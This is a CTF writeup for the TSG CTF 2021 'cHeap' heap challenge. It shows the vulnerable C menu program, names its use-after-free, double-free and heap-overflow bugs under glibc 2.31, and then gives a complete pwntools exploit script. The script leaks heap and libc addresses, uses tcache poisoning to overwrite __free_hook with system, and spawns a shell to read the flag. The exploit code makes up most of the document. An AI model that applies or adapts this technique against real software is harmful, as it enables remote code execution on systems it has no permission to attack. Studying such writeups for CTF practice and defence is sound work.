# cHeap (TSG CTF 2021 Writeup)
This is a simple heap challenge.
```c=
char *ptr = NULL;
void create() {
unsigned size;
printf("size: ");
scanf("%u", &size);
ptr = malloc(size);
printf("data: ");
readn(ptr, 0x100);
}
void show() {
printf("%s\n", ptr);
}
void delete() {
free(ptr);
}
int main(void) {
init();
int select = 0;
while (1) {
puts("1. create");
puts("2. show");
puts("3. remove");
printf("Choice: ");
scanf("%d", &select);
if (select == 1) {
create();
} else if (select == 2) {
show();
} else if (select == 3) {
delete();
} else {
exit(-1);
}
}
return 0;
}
```
Note: libc is 2.31.
There are tons of bugs.
1. Use After Free (show)
2. Double free (delete)
3. Heap overflow (create)
The biggest limitation is that we can hold only one buffer.
## PoC
```python=
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
import sys
context.log_level = 'error'
log = False
is_gaibu = True
host = sys.argv[1]
port = int(sys.argv[2])
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, b'\x00'))
r = remote(host, port)
def recvuntil(x, verbose=True):
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(verbose=True):
s = r.recv()
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip(b'\n')
def sendline(s, verbose=True):
if log and verbose:
print(s)
pass
r.sendline(s)
def send(s, verbose=True):
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
####################################
def menu(choice):
recvuntil(b':')
sendline(str(choice).encode("ascii"))
# receive and send
def rs(s, new_line=True, r=b':'):
recvuntil(r)
if type(s) != bytes:
s = str(s).encode("ascii")
if new_line:
sendline(s)
else:
send(s)
def create(size, data):
menu(1)
rs(size)
rs(data)
def show():
menu(2)
recvuntil(b' ')
return recvline()
def remove():
menu(3)
create(0x30, b"c")
remove()
create(0x40, b"b")
remove()
create(0x10, b"a")
remove()
create(0x20, b"b")
remove()
create(0x40, b"a" * 0x48 + p64(0x41))
wait_for_attach()
remove()
create(0x10, b"b")
remove()
heap_base = just_u64(show()) - 0x2a0
print(hex(heap_base))
create(0x10000, b"f")
create(0x10, b"g")
create(0x40, b"z" * 0x50 + p64(heap_base + 0x380))
create(0x30, b"h")
create(0x30, b"z")
remove()
libc_base = just_u64(show()) - 0x1ebbe0
print(hex(libc_base))
create(0x30, b"c")
remove()
create(0x40, b"b")
remove()
create(0x10, b"a")
remove()
create(0x20, b"b")
remove()
create(0x40, b"a" * 0x48 + p64(0x41))
remove()
wait_for_attach()
create(0x10, b"b")
remove()
free_hook = libc_base + 0x1eeb28
system = libc_base + 0x55410
create(0x40, b"z" * 0x50 + p64(free_hook))
create(0x30, b"h")
create(0x30, p64(system))
create(0x10, b"/bin/sh\x00")
remove()
r.sendline(b"cat flag; echo UOUO")
s = r.recvuntil(b"UOUO")
if b"TSGCTF" in s:
print(s)
exit(0)
else:
exit(1)
interactive()
```